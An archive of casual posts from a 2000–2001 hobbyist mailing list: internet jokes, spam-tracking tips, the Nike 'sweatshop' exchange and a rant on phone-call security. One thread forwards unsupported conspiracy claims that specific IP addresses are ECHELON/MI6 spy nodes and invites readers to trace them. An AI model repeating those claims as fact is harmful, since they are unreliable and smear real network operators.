Somebody set up us the Senate
--- F R E N D Z of martian --- Mainly posting this because of the funky AYBABTU spoof; don't really do politicks on this list, but then again it could be quite interesting now the balance of power has changed From below: You have no chance to drill Alaska... luvonya martian - Forwarded message from Brian W. Spolarich [EMAIL PROTECTED] - Sent to me from Mike Smallwood [EMAIL PROTECTED]: http://dailynews.yahoo.com/h/nm/20010524/ts/congress_jeffords_dc.html What Happen? Somebody set up us the Senate. We get Majority CNN Turn ON It's Jeffords! How are you, Gentlemen? All your Committee are belong to us! What Daschle Say? You have no chance to Drill Alaska Make your fuel mileage. Haha, -- Michael A. Smallwood I hope life isn't a big joke, [EMAIL PROTECTED] because I don't get it. http://mikesmallwood.com -- Jack Handy - End forwarded message - -- Martin Cosgrave, Chief Technical Officer, AppDev Ltd. [EMAIL PROTECTED] http://appdev.co.uk 0117 902 3143 07971 987 428 -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
thinking about spam
--- F R E N D Z of martian --- Spam and how to not like it. I use the following spam-source detection technique: get an account at cjb.net (I am marsbard.cjb.net) and use the facility of forwarding any email @youraccount.cjb.net to your main email account. When you visit a site requiring email registration (for this example, spambunny.net), use the email address '[EMAIL PROTECTED]'. Now when you get spam, check the To: line... if the To: line says something else, you were on a Bcc (blind carbon copy) so you have to check the headers to see what address it was delivered to. If your mail was delivered to [EMAIL PROTECTED] then you know *for sure* that the spambunny site either spammed you or sold your address to spammers. Not much but at least you know... and you can maybe filter out mails delivered to that address My next idea... just a germ of an idea at the mo - when you get spam, forward it to a particular address [ooh, [EMAIL PROTECTED], or summat] - the address will run a prog that sends a fake bounce msg 'sorry your email could not be delivered' back to the originator. This may encourage the spammer to actually remove your email from their list. Or are the spammers even going to bother dropping dead addys? I dunno. Is this worth the effort? Your ideas, issues and reactions please. luvonya martian PS - check http://marsbard.com/ - if there are any cool links that you *haven't* seen in email, _PLEASE_ let me know... several peeps have told me that they are missing emails and if so I have to move the list soon. --- Random fortune cookie I just got when I logged in: Even if you do learn correct English, whom are you going to speak it to? -- Martin Cosgrave, Chief Technical Officer, AppDev Ltd. [EMAIL PROTECTED] http://appdev.co.uk 0117 902 3143 07971 987 428 -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
[allen@anzen.com: GeeK: whizzinator]
--- F R E N D Z of martian --- 'pass your drug test...' http://www.thewhizzinator.com/ martian - Forwarded message from Allen Leibowitz [EMAIL PROTECTED] - Envelope-to: martian@localhost X-POP3-Rcpt: [EMAIL PROTECTED] To: [EMAIL PROTECTED] From: Allen Leibowitz [EMAIL PROTECTED] Subject: GeeK: whizzinator Forwarded: http://www.sfgate.com/cgi-bin/article.cgi?file=/news/archive/2001/05/10/urine.DTL Reference: http://www.thewhizzinator.com/ - End forwarded message - -- Martin Cosgrave, Chief Technical Officer, AppDev Ltd. [EMAIL PROTECTED] http://appdev.co.uk 0117 902 3143 07971 987 428 -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: fame for cozzers!
--- F R E N D Z of martian --- Cool :-) It's only dangerous if there is a global banking conspiracy (there, we just managed to get a few more references to the phrase so we should be higher up google's list next time :-) ) In the future, everybody will be famous for 15 Mb martian - Original Message - From: Iain Kennedy [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Friday, May 18, 2001 11:37 AM Subject: Re: fame for cozzers! --- F R E N D Z of martian --- Hmmm... Doesn't that make this one of the fifth most dangerous mailing list to be on, then? Beware MFI agents - they are everywhere. Iain On Fri, 18 May 2001, Neil Elkins wrote: --- F R E N D Z of martian --- i just typed 'global banking conspiracy' into google, and about the fifth result was a post my mr cosgrave in the frendz archive. just thought i'd share that! -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/ -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/ -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
[patil@umich.edu: GeeK: Solar System Simulator]
--- F R E N D Z of martian --- - Forwarded message from Sameer Patil [EMAIL PROTECTED] - Envelope-to: martian@localhost X-POP3-Rcpt: [EMAIL PROTECTED] From: Sameer Patil [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: GeeK: Solar System Simulator AllYourBase: Are Belong to Us JPL's David Seal has created a Solar System Simulator (http://space.jpl.nasa.gov/). The pictures you request are created in real-time from a three-dimensional simulation of the solar system, and from texture maps of the planets' and moons' surfaces previously captured by various flybys (or in Pluto's case, from imagination, since we don't yet have any good surface pictures). And the results are startlingly accurate, as demonstrated at http://space.jpl.nasa.gov/samples.html where David compares actual images with those rendered by this simulation. David is providing this service using a single workstation (technical details are at http://space.jpl.nasa.gov/tech.html). - End forwarded message - -- Martin Cosgrave, Chief Technical Officer, AppDev Ltd. [EMAIL PROTECTED] http://appdev.co.uk 0117 902 3143 07971 987 428 -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: New cool link (PS2 Linux Kit)
--- F R E N D Z of martian --- Here's a shortened link to the automated japanese-english translation provided by worldlingo.com http://marsbard.com/cgi-bin/go?link=36 martian On Thu, May 03, 2001 at 07:09:00AM -0400, [EMAIL PROTECTED] wrote: A new link appeared at http://marsbard.com/ - 'The last 10 things martian's frendz saw' PS2 Linux Kit This also a picture of the kit here - http://www.jp.playstation.com/linux/image/main.jpg http://www.jp.playstation.com/linux/ -- Use http://marsbard.com/cool/coolInstall.html - drag the link marked 'c00lt00lz' to your browser's links toolbar to make a button with the same name - now click on the button whenever you see a cool site -- Martin Cosgrave, Chief Technical Officer, AppDev Ltd. [EMAIL PROTECTED] http://appdev.co.uk 0117 902 3143 07971 987 428 -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Fw: GeeK: [plist] Quality Assurance at Napster (fwd)
--- F R E N D Z of martian --- - Original Message - From: bri.cors [EMAIL PROTECTED] To: Geeks List [EMAIL PROTECTED] Sent: Friday, April 27, 2001 8:03 PM Subject: GeeK: [plist] Quality Assurance at Napster (fwd) from a list that I am on... -- Forwarded message -- Date: 27 Apr 2001 18:54:13 - Subject: [plist] Quality Assurance at Napster no i didn't write it: Subject: horrifying but true napster story 45 lines (?) It seems like I must have posted this already somewhere, or maybe it's just that I've told it to so many people if feels like I did, because it's such a great freaky story. We went to a wedding of a couple of talk.bizarre friends of ours a few weekends ago, and of course most of the attendees were dotcommers recently released to ahem explore the job market. Fortunately, most of them are not web gurus so they are actually landing interviews and stuff, and none of them tried to grovel at my feet for Apple work. One friend of ours told me about a recent experience he had at Napster. They were apparently hiring QA people to develop automation and he thought, yeah, I can do that. Talked to a recruiter on the phone. They asked what he was looking for, salarywise, and he threw $100K out, figuring they ought to be able to afford it. They didn't even blink so he went in for an official interview. At the first interview, the interviewer mentioned at one point, You're okay with putting in long hours, right? 'Cause we tend to put in a LOT of hours. He thinks, yeah, okay, some twelve hours days, 60 hours a week, I have no personal life, I can do that, sure. At the second interview, the interviewer says, Did the last person tell you about the long hours? Whatever she said, she was probably understating. It turns out this second interviewer, who would have been a direct peer of his, had come to the interview at the tail end of 36 straight hours at work. She was going to go home for twelve hours and then be back to do another one. Then she showed him what their QA department is doing these days. They don't even have cube farms. They have long tables set up with systems in a row at which people are sitting around the clock, manually looking through endless lists of every single file that goes into and out of napster, searching for copyright violation material concealed in every possible way. M3TALL1CA PHAD3 2 BLAKK, ding! Flag it. KCALB OT EDAF ACILLATEM, ding! Flag it. Anything that sits in their hands for 72 hours and turns out to be a copyright violation, they're fucked. So they have rows of drones looking at everything and trying to figure out every possible way people can disguise band and song names. We need to develop a better way to do this. You up to the task? He got the fuck out of there. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.226 / Virus Database: 108 - Release Date: 1/5/01 -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Fwd: GeeK: get your opensource coke
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F R E N D Z of martian
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OpenCola Soft Drink[tm] marks the first time that open-source
licensing has been applied to a consumer product.
- Forwarded message from Florian Kohl [EMAIL PROTECTED] -
Envelope-to: martian@localhost
X-POP3-Rcpt: [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
From: Florian Kohl [EMAIL PROTECTED]
Subject: GeeK: get your opensource coke
featured at:
http://www.thinkgeek.com/stuff/things/37f3.html
the can has the following perl script on it:
#!/usr/bin/perl
open CAN, excitedly;
join ($can, $mouth);
while ($colaRemaining 0)
{if ($reallyThirsty) {$chug;} else {$sip};}
dumpIN_RECYCLING_BOX;IN_RECYCLING_BOX;
cheers floh
_:)
And which parallel universe did you crawl out of?
- End forwarded message -
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0117 902 3143
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GeeK: RADAR flashlight
--- F R E N D Z of martian --- - Forwarded message - http://unisci.com/stories/20012/0416015.htm Police officers serving a warrant or searching for a suspect hiding inside a building could soon have a new tool for protecting themselves and finding the "bad guy." A prototype device called the RADAR Flashlight, developed at the Georgia Tech Research Institute (GTRI), can detect a human's presence through doors and walls up to 8 inches thick. ... : erika : http://i.am.armed.with.lasers.usuck.com/ : - End forwarded message - Martin Cosgrave, Chief Technical Officer, AppDev Ltd. [EMAIL PROTECTED] http://appdev.co.uk 0117 902 3143 07971 987 428 -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
[magnus@bodin.org: GeeK: This years aprils-fool-RFC:s]
--- F R E N D Z of martian --- - Forwarded message from Magnus Bodin [EMAIL PROTECTED] - This years april-fool-RFC:s. Pi Digit Generation Protocol http://rfc3091.x42.com/ This protocol is intended to provide the Pi digit generation service (PIgen), and be used between clients and servers on host computers. Typically the clients are on workstation hosts lacking local Pi support, and the servers are more capable machines with greater Pi calculation capabilities. The essential tradeoff is the use of network resources and time instead of local computational cycles. Etymology of "Foo" http://rfc3092.x42.com/ Approximately 212 RFCs so far, starting with RFC 269, contain the terms oo', ar', or oobar' as metasyntactic variables without any proper explanation or definition. This document rectifies that deficiency. /magnus -- http://x42.com/ - End forwarded message - -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: testing spam deflection
--- F R E N D Z of martian --- On Thu, Mar 29, 2001 at 08:22:40AM -0500, [EMAIL PROTECTED] wrote: --- F R E N D Z of martian --- This should not arrive in the list... If it does, I haven't fixed the spam problem martian I think the spam thing is fixed now - at any rate, two further tests I sent appear to have bounced back to me martian -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: Java persistence
--- F R E N D Z of martian --- There's also always Coldstore (http://coldstore.sourceforge.net/) which works a lot like Object Store / Excelon stamp foot But I want one that persists *perl* objects... /stamp foot Just hafta write persistent objects is all... martian Open Source rules - last time I looked, excelon corp were charging real substantial money for this sort of thing... http://www.ozone-db.org/ -- Martin Cosgrave, Chief Technical Officer, AppDev Ltd. [EMAIL PROTECTED] http://appdev.co.uk 0117 902 3143 07971 987 428 -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Fwd: GeeK: End of the Trojan Room Coffee cam
--- F R E N D Z of martian --- - Forwarded message from Eric Myers [EMAIL PROTECTED] - Say Goodbye To The Web's First Star (http://www.informationweek.com/story/IWK20010307S0008) The world's first Webcam, pointed at a coffeepot on the Cambridge University campus, is about to blink off after 10 years of dedicated service. The Webcam went online in 1991, when Cambridge computer-science researchers got tired of walking to another room for a cup of joe, only to find the communal pot drained. So they pointed a video frame-grabber at the coffeemaker and wrote a program that snapped a picture every few seconds and posted it to a server. A few years later, when the Web was born, they made the images available there. In those early text-based days of the Web, when there wasn't much else to look at, it was a huge hit, eventually drawing around 2.4 million visitors. But the historic device will be disconnected sometime later this year, when the lab moves to a new building. For many, it's a bittersweet moment, because the little image of a coffeepot was more than just a clever hack. It was one of the first applications that showed people the Web's potential, and it inspired many bored programmers to build bigger and better things. And unlike so many millions of pages on the Web, this one was actually useful ... at least if you were a computer scientist in Cambridge jonesing for a caffeine fix. At deadline, someone needed to make another pot. Take a look for yourself at http://www.cl.cam.ac.uk/coffee/coffee.html - David M. Ewalt - End forwarded message - -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
fun and games with nike
--- F R E N D Z of martian --- - Forwarded message from "Sarah ." [EMAIL PROTECTED] - From: "Sarah ." [EMAIL PROTECTED] Subject: fun and games with nike Date: Sun, 04 Mar 2001 17:43:24 - WELL WORTH A READ Nike now lets you personalize your shoes by submitting a word or phrase which they will stitch onto your shoes, under the swoosh. So Jonah Peretti filled out the form and sent them $50 to stitch "sweatshop" onto his shoes. Here's the responses he got... fun and games with Nike... * * * * * * * * * * * * * * * * * * * * * * * * * * * * * From: "Personalize, NIKE iD" To: "'Jonah H. Peretti'" Subject: RE: Your NIKE iD order o16468000 Your NIKE iD order was cancelled for one or more of the following reasons: 1) Your Personal iD contains another party's trademark or other intellectual property 2) Your Personal iD contains the name of an athlete or team we do not have the legal right to use 3) Your Personal iD was left blank. Did you not want any personalization? 4) Your Personal iD contains profanity or inappropriate slang, and besides, your mother would slap us. If you wish to reorder your NIKE iD product with a new personalization please visit us again at www.nike.com Thank you, NIKE iD From: "Jonah H. Peretti" To: "Personalize, NIKE iD" Subject: RE: Your NIKE iD order o16468000 Greetings, My order was canceled but my personal NIKE iD does not violate any of the criteria outlined in your message. The Personal iD on my custom ZOOM XC USA running shoes was the word "sweatshop." Sweatshop is not: 1) another's party's trademark, 2) the name of an athlete, 3) blank, or 4) profanity. I choose the iD because I wanted to remember the toil and labor of the children that made my shoes. Could you please ship them to me immediately. Thanks and Happy New Year, Jonah Peretti From: "Personalize, NIKE iD" To: "'Jonah H. Peretti'" Subject: RE: Your NIKE iD order o16468000 Dear NIKE iD Customer, Your NIKE iD order was cancelled because the iD you have chosen contains, as stated in the previous e-mail correspondence, "inappropriate slang". If you wish to reorder your NIKE iD product with a new personalization please visit us again at nike.com Thank you, NIKE iD From: "Jonah H. Peretti" To: "Personalize, NIKE iD" Subject: RE: Your NIKE iD order o16468000 Dear NIKE iD, Thank you for your quick response to my inquiry about my custom ZOOM XC USA running shoes. Although I commend you for your prompt customer service, I disagree with the claim that my personal iD was inappropriate slang. After consulting Webster's Dictionary, I discovered that "sweatshop" is in fact part of standard English, and not slang. The word means: "a shop or factory in which workers are employed for long hours at low wages and under unhealthy conditions" and its origin dates from 1892. So my personal iD does meet the criteria detailed in your first email. Your web site advertises that the NIKE iD program is "about freedom to choose and freedom to express who you are." I share Nike's love of freedom and personal statement. The site also says that "If you want it done right...build it yourself." I was thrilled to be able to build my own shoes, and my personal iD was offered as a small token of appreciation for the sweatshop workers poised to help me realize my vision. I hope that you will value my freedom of statement and reconsider your decision to reject my order. Thank you, Jonah Peretti From: "Personalize, NIKE iD" To: "'Jonah H. Peretti'" Subject: RE: Your NIKE iD order o16468000 Dear NIKE iD Customer, Regarding the rules for personalization it also states on the NIKE iD web site that "Nike reserves the right to cancel any personal iD up to 24 hours after it has been submitted". In addition, it further explains: "While we honor most personal iDs, we cannot honor every one. Some may be (or contain) other's trademarks, or the names of certain professional sports teams, athletes or celebrities that Nike does not have the right to use. Others may contain material that we consider inappropriate or simply do not want to place on our products. Unfortunately, at times this obliges us to decline personal iDs that may otherwise seem unobjectionable. In any event, we will let you know if we decline your personal iD, and we will offer you the chance to submit another." With these rules in mind, we cannot accept your order as submitted. If you wish to reorder your NIKE iD product with a new personalization please visit us again at www.nike.com Thank you, NIKE iD From: "Jonah H. Peretti" To: "Personalize, NIKE iD" Subject: RE: Your NIKE iD order o16468000 Dear NIKE iD, Thank you for the time and energy you have spent on my request. I have decided to order the shoes with a different iD, but I would like to make one small request. Could you please send me a color snapshot of the ten-year-old Vietnamese girl who makes my shoes? Thanks, Jonah Peretti As one forwarder writes: ... this will now go round the world much farther
Re: sdfdsffd and fgfg
--- F R E N D Z of martian --- A trick for when the site wants to send you an email to confirm membership or something: get yourself a cjb.net domain (free) and set it up to forward *all* emails you receive at that domain (mine is marsbard.cjb.net) now when you go to sign up at bastards.com, use the email address bastards.com@domain.cjb.net When you get email sent to this address the 'To:' field should show the address 'bastards.com@domain.cjb.net' and if you start getting spam (a) you can tell who it came from, and (b) you can set up filtering rules to junk it before you see it. Having said that I guess that [EMAIL PROTECTED] gets a lot of unsolicited mail. martian On Tue, Feb 27, 2001 at 01:54:34PM -, Kip wrote: Don't know about anyone else, but I bookmarked both these sites, definitely in my web top 100. It also occurred to me that if anyone does own and use names like asdasd.com, sdfsdf.com etc. they must get a huge amount of email hitting their servers. Most sites I'm registered with have me down as [EMAIL PROTECTED], or something similar. Kip - Original Message - From: John O'Callaghan To: [EMAIL PROTECTED] Sent: Tuesday, February 27, 2001 1:27 PM Subject: Re: sdfdsffd and fgfg Re: sdfdsffd and fgfg Dear frendz sorry about the junk e-mails,I am guilty as charged. I am playing around with the CoolToolz thing that martian made. I am customizing it for another site It was late and I was drunk,the code was long and the mail bit was at the bottom Luckily my e-mail goes to my phone or there would have been more. So sorry. I won't do it again. Humbly yours John Headstrong [EMAIL PROTECTED] www.techead.co.uk -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
[gkm@petting-zoo.net: GeeK: Oh Canada!]
--- F R E N D Z of martian --- - Forwarded message from glen mccready [EMAIL PROTECTED] - Forwarded-by: Nev Dull [EMAIL PROTECTED] Forwarded-by: Spike Ilacqua [EMAIL PROTECTED] http://www.cira.ca/official-doc/4.registrantCanadian.txt 2. Canadian Presence Requirements. On and after November 8, 2000 only the following individuals and entities will be permitted to apply to CIRA (through a CIRA certified registrar) for the registration of, and to hold and maintain the registration of, a .ca domain name: (a) Canadian citizen. A Canadian citizen of the age of majority under the laws of the province or territory in Canada in which he or she resides or last resided; [...] (m) Her Majesty the Queen. Her Majesty Queen Elizabeth the Second and her successors; - End forwarded message - -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
[vkoser@koser.org: GeeK: for a good prime]
--- F R E N D Z of martian --- - Forwarded message from "vincent.koser" [EMAIL PROTECTED] - Envelope-to: martian@localhost X-POP3-Rcpt: [EMAIL PROTECTED] Delivered-To: [EMAIL PROTECTED] Delivered-To: [EMAIL PROTECTED] Date: Thu, 22 Feb 2001 15:54:04 -0500 From: "vincent.koser" [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: GeeK: for a good prime Precedence: bulk Graffiti in a rest room at MIT: FOR A GOOD PRIME, CALL 492167227845480888731\ 6587060837512918359717593218863772563890915117\ 6854435594031149034849419963836573871022532476\ 5222885616281603298816157230172005632019356215\ 0612057490956695033307524242133370982904295469\ 4547901608181227860766112878103286002433613284\ 7610848533724215922627364505720022270444870395\ 5939975390068680810358556973478270428602931457 This 343-digit number actually is prime. It divides 2^1171 + 1. - End forwarded message - -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Funky chat
--- F R E N D Z of martian --- It's written in Director, so I can't even look at it :-( (But that's coz I'm on Linux which is 'wahey!' in every other way) But if the graphics on the homepage are anything to go by, http://www.habbo.com/ looks like it could be an interesting way of having a chat online. martian -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
GeeK: brainwave science
--- F R E N D Z of martian --- - Forwarded message from [EMAIL PROTECTED] - Date: Mon, 5 Feb 2001 10:58:47 -0500 (EST) From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: GeeK: brainwave science creepy. quacky? probably. http://www.brainwavescience.com/index.html Farwell Brain Fingerprinting is a revolutionary new technology for investigating crimes and exonerating innocent suspects, with a record of 100% accuracy in research on FBI agents, research with US government agencies, and field applications. ... Brain Fingerprinting solves the central problem by determining scientifically whether a suspect has the details of a crime stored in his brain. : erika : http://i.am.armed.with.lasers.usuck.com/ : - End forwarded message - -- Martin Cosgrave AppDev Ltd. 0117 902 3143 / 07971 987 428 -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: Echelon IP addresses (was: true or false?])
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F R E N D Z of martian
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Had a look at http://www.thebigbreach.com to find the list of IPs again
found the promised follow-up list and a better explanation. Looks like
a job for NeoTrace
martian
[Begin text] Today's earlier submission of ECHELON / MI6 IP addresses
and network listening stations, which are involved in the wholesale
commercial theft of other people's hard work, seem to have struck a
note. (You were warned four days ago, Jack.) Most of the 193s,
particularly those concentrated the the southeast of Wurzburg in
Germany, are ECHELON listening posts. In fact, Germany has to contend
with a huge amount of illegal MI6 activity and is indeed the focus of
most of ECHELON's espionage (theft of commercial secrets, patents,
new products and technology, in addition surveillance of American and
British dissidents etc.) You'll find much of ECHELON's electronic
snooping terminals southeast of Frankfurt, running in a wide strip
from Wurzburg to Furth, which is a few kilometres to the west of
Nuremberg, including: Aschaffenburg, Lauda, Rottendorf, Kitzingen,
Ochsenfurt, Marktbreit, Bamberg, Ansbach, Forchheim and Erlangen.
Run searches on any of the IPs (including the 194s, 195s, 62s,
212s, 217s, 213s and all the others that don't seem to fit) and
trace routes to and from all of them. If you've got the right sort
of intelligence software with mapping, resolution, imaging, charts
and ping and echo facilities you'll find some pretty bizarre nodes
and links along the way. Most of the 62s, and 212s are not live
feeds, but can be used as a means to see all the 193s and 195s in
between. There are however a couple of 62s and 213s way out on another
planet ("blackholers"). Whatever, you're bound to ask yourself: "What
the fuck is going on here?" Check these out, and enjoy:
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On Mon, Jan 29, 2001 at 03:57:46PM +0000, Martin Cosgrave wrote:
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Date: Mon, 29 Jan 2001 12:38:34 +
To: [EMAIL PROTECTED]
From: Tony Gosling [EMAIL PROTECTED]
Subject: true or false?
from
www.thebigbreach.com
Between 20-25 percent of all the IP addresses given below are part of the
ECHELON
system and are used extensively by MI6 and the
NSA to spy on British and continental
citizens (the last 50 alone were intercepted
with my accessing this site). Most of the 62s
and 212s are clean: they form part of the
Telekom network. Nonetheless there are around
ten rogue 212s and three or four rogue 62s. The
193s are particularly interesting because
they are well integrated within the RIPE
system. Nonetheless, check out the 193s between
Frankfurt and Wurzburg on arbitrary strings or
as direct "pings". Many carry little in the
way of WHOIS information and are detached from
RIPE with direct feeds to London (no
nodes). But with a little persistence you'll be
able to link them to the Whitehall/Vauxhall
area and military bases outside of London.
Quite a few have been around for months, and
here again I will provide you with additional
analysis and a more detailed breakdown on
the addresses later. In the meantime, if you
have some decent traceroute software, I wish
you the best of fun. Please feel free to send
your findings to other interested websites,
such as Cryptome.org. Expect another 30
addresses later. [Begin]62.227.245.245
193.159.2.151 149.225.49.243
193.159.3.129 217.4.80.88
193.159.1.115 62.158.7.37
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Re: ebaby - online adoption service
--- F R E N D Z of martian --- hehe bloody hilarious :-) martian (bard) On Fri, Jan 19, 2001 at 03:42:42PM -, ian martin wrote: EBABY Online adoption made easy. Select your baby, make a bid, add to shopping cart! Bargain Of The Week: highly sought after twins. Excellent condition, good media contacts, some travel sickness. Three careful owners so far. Come as set, will split, offers. http://www.martian.fm/ebaby.htm www.martian.fm monitoring earth for life -- Martin Cosgrave AppDev Ltd. 0117 902 3143 / 07971 987 428 -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
test
--- F R E N D Z of martian --- am I reaching you?? (rhetorical question - I should see it...) martian (having trouble with email :-( ) -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: test
--- F R E N D Z of martian --- OK well it seems to be working again... Don't know what was going on but any mail I sent to frendz got swallowed up (!) somewhere after it hit cable internet. Hopefully that's the end of this out[r]age. Nice to be back on the list. Seemed kind of unfair to be off :-) Anyway, my last message was to Mercedes - I don't think that the story you mentioned was on this list. (And did you vote in the debacle?) There was a previous one for Mike @ Psand - and anyone who wants to get off the list - mail me and I'll remove you. There were others, but I don't remember them... martian On Thu, Nov 30, 2000 at 06:22:38PM -, Richard Reynolds wrote: --- F R E N D Z of martian --- Yes you are :-) -Original Message- From: Martin Cosgrave [mailto:[EMAIL PROTECTED]] Sent: 2000 November 30 18:06 To: multiple recipients of Subject: test --- F R E N D Z of martian --- am I reaching you?? (rhetorical question - I should see it...) martian (having trouble with email :-( ) -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/ -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/ -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
newz u need
--- F R E N D Z of martian --- The news you need. In MP3 format. If nothing else search for Chomsky (btw cheers rich for turning me on to him - 2 days later someone else mentioned him and then snailed me a tape (other side Bill Hicks... wicked combination) and now I'm downloading the stuff from radio4all...) http://www.radio4all.net/ -- http://mp3.com/martian/ -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
DON'T TELL THEM
--- F R E N D Z of martian --- (precis: don't tell ppl stuff on the phone if you don't know who they are) I feel like a prat. I sit here regularly pointing out security stuff, and occasionally lecturing (this is another one of those but with a built-in caveat) Today I had a call from First Direct (the bank), at least I suppose it was them. "Mr Cosgrave, this is a customer service call" (not the first time I've got a call from them so I wasn't surprised, more worried in case they were hassling me. They were actually trying to sell me a loan). They were trying to get me to transfer my credit card balance to a loan. (My response - "in my experience I find that that method of managing debt invariably ends up with more debt as a result of having two open credit lines" was incredibly effective and I invite (incite?) you to use it any time someone tries to sell you a loan) Before they got to that part, they found it necessary to ask me this: "For security, we have to ask you these questions. What's your date of birth? What's your mother's maiden name?". For fuck's sake, WHAT KIND OF SECURITY IS THAT??? That could've been Joe Blow, I just gave them 2 good pieces of info about myself... it wa (a) cos they were Scottish, and all my contact with First Direct has been with Scots (I guess the callcentres are cheap in Scotland) and (b) on the spur of the moment I presumed that I was still protected by the password I chose when I joined them. But that was a password that I chose for their systems. When I phone them I have to give them 3 characters from my password. But they've never asked me to give them a password for my system (ie phoning me up) So when ppl (esp banks) ask you for stuff like that on the phone, ask them to positively identify themselves - there's no way they can unless they've made a prearranged agreement with you or they ask you for your password with them (but how would that be secure? they phoned *you* and they could be anybody with a Scots or whatever accent. so the onus is on them to identify) Imagine how confused the callcentre lady would have been if I'd asked her for letters 1,3 and 5 from her password... but that's the kind of verification we need for this kind of thing to work. From their point of view, they'd phoned me; the person answering claimed to be me and could answer two questions about me (wouldn't be hard if they were living in the same house as me, and I once lived with someone who subsequently stole my.credit card and tried to forge my signature. Luckily he was crap at it) - so they were satisfied that I was me. But I had no indication to whom I was talking - even the call came in as 'Withheld number'. So to cut a short story a little less long than if I had gone a bit longer with it, DON'T TELL THESE WANKERS A THING - if your bank manager phones up he's either trying to sell you something (a loan) or foreclose on you - in either case, force him to identify himself, because you *cannot* be sure it is him. Hopefully you get my drift. /rant for now (I'm tired, this post was probably full of shit but have it anyway. I'm only swearing so much cos Tony snailed me a tape of Bill Hicks) luvonya martian -- http://mp3.com/martian/ -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Fwd: nettime porn vatican
--- F R E N D Z of martian --- "mistakenly"...? -- Forwarded Message -- Subject: nettime porn vatican Date: Wed, 20 Sep 2000 15:08:29 -0400 From: Ana Viseu [EMAIL PROTECTED] Mixing sound A Vatican festival is mistakenly broadcast over Italian TV with porn-movie soundtracks. By Jack Boulware Sep. 20, 2000 | Each year in mid-September the Roman Catholic Church celebrates the feast of the Exaltation of the Venerable Cross, which honors the fourth century finding of the Lord's Cross and its recovery from Persian captivity in the seventh century. Thanks to modern technology, this year's Vatican festival was televised live to millions of viewers across Italy, Spain and Latin America. Also thanks to modern technology, the broadcast of 20 cardinals celebrating Mass and leading prayers was accidentally accompanied by the soundtracks of hardcore-porn films. According to news reports, Italian broadcasting company RAI had intended to send audio and video from the festival to its satellite, to be bounced to Catholic audiences around the world. But a satellite TV company in Luxembourg managed to mix up the audio portions of the broadcasts of the Vatican festival and the Fantasy Channel -- playing the soundtracks of "Stacey and the Hunt" and "Babes Illustrated" during the festival broadcast. For two hours, millions of Roman Catholics watched video of cardinals singing hymns and praying, set to the orgasmic moaning and caterwauling of porn stars like Shyla Foxxx, Kaitlyn Ashley and Caressa Savage. Conversely, male viewers of the Fantasy Channel, sitting on sofas with their pants to their ankles, were treated to porn that featured holy incantations. "The film soundtrack was transmitted, and it was really hardcore stuff," said Deric Botham, managing editor of Television X, which produces the Fantasy Channel. "It could not have been worse." Reaction from the Vatican was uncharacteristically subdued, considering its views on pornography. "It sounded like a very unfortunate mistake," said a spokesman for the Roman Catholic Church. Perhaps God does exist. http://www.salon.com/sex/world/2000/09/20/vatican/index.html - Tudo vale a pena se a alma nao e pequena. http://fcis.oise.utoronto.ca/~aviseu # distributed via nettime: no commercial use without permission # nettime is a moderated mailing list for net criticism, # collaborative text filtering and cultural politics of the nets # more info: [EMAIL PROTECTED] and "info nettime-l" in the msg body # archive: http://www.nettime.org contact: [EMAIL PROTECTED] --- -- -- http://mp3.com/martian/ -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
RE: tv license question
